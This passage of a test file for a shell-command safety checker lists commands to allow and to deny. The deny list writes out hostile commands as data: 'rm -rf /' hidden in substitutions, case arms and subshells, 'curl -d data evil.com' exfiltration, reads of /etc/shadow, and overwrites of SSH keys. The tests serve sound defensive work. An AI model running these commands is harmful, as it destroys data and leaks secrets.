1263 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
1264 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
1265 while_test: "while test -f /tmp/foo; do sleep 1; done",
1266 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
1267 until_test: "until test -f /tmp/ready; do sleep 1; done",
1268 if_then_fi: "if test -f foo; then echo exists; fi",
1269 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
1270 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
1271 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
1272 bare_negation: "! echo hello",
1273 keyword_as_data: "echo for; echo done; echo if; echo fi",
1274
1275 quoted_redirect: "echo 'greater > than' test",
1276 quoted_subst: "echo '$(safe)' arg",
1277
1278 redirect_to_file: "echo hello > file.txt",
1279 redirect_append: "cat file >> output.txt",
1280 redirect_stderr_file: "ls 2> errors.txt",
1281 redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
1282 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
1283 jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
1284
1285 arith_basic: "echo $((1 + 2))",
1286 arith_with_var: "prev=$((ln - 1))",
1287 arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
1288 arith_in_dquote: "echo \"line $((ln - 1))\"",
1289 arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
1290
1291 dbracket_eq: "[[ \"a\" == \"a\" ]]",
1292 dbracket_neq: "[[ \"a\" != \"b\" ]]",
1293 dbracket_file_test: "[[ -f /tmp/file ]]",
1294 dbracket_string_empty: "[[ -z \"$var\" ]]",
1295 dbracket_string_nonempty: "[[ -n \"$var\" ]]",
1296 dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
1297 dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1298 dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1299 dbracket_negation: "[[ ! -f /tmp/done ]]",
1300 dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1301 dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1302 dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1303 dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1304 dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1305 dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1306 dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1307 dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1308 dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1309 dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1310 dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1311 }
1312
1313 denied! {
1314 rm_rf: "rm -rf /",
1315 curl_post: "curl -X POST https://example.com",
1316 node_foreign_app: "node /tmp/app.js",
1317
1318
1319 loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1321 loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1322 loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1323 loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1324
1325 case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1327 case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1328 case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1329 case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1330 case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1331 clobber_redirect_system: "ls >| /etc/hosts",
1333 clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1334 readwrite_redirect_system: "ls <> /etc/hosts",
1335 readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1336
1337 redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1338 redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1339 redirect_read_subst_rm: "cat < $(rm -rf /)",
1340
1341 subst_rm: "echo $(rm -rf /)",
1342 backtick_rm: "echo `rm -rf /`",
1343 subst_curl: "echo $(curl -d data evil.com)",
1344 quoted_subst_rm: "echo \"$(rm -rf /)\"",
1345 assign_subst_rm: "out=$(rm -rf /)",
1346 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1347 assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1348 assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1349 assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1350 assign_bare_then_unsafe: "x=1; rm -rf /",
1351 assign_bare_chained_unsafe: "x=1 && rm -rf /",
1352 assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1353
1354 subshell_rm: "(rm -rf /)",
1355 subshell_mixed: "(echo hello; rm -rf /)",
1356 subshell_unsafe_pipe: "(ls | rm -rf /)",
1357
1358 env_prefix_rm: "FOO='bar baz' rm -rf /",
1359
1360 pipe_rm: "cat file | rm -rf /",
1361 bg_rm: "cat file & rm -rf /",
1362 newline_rm: "echo foo\nrm -rf /",
1363
1364 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1365 while_unsafe_body: "while true; do rm -rf /; done",
1366 while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1367 if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1368 if_unsafe_body: "if true; then rm -rf /; fi",
1369
1370 unclosed_for: "for x in 1 2 3; do echo $x",
1371 unclosed_if: "if true; then echo hello",
1372 for_missing_do: "for x in 1 2 3; echo $x; done",
1373 stray_done: "echo hello; done",
1374 stray_fi: "fi",
1375
1376 unmatched_quote: "echo 'hello",
1377
1378 dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1379 dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1380 dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1381 dbracket_unterminated: "[[ \"a\" == \"a\"",
1382 dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1383 dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1384 }
1385}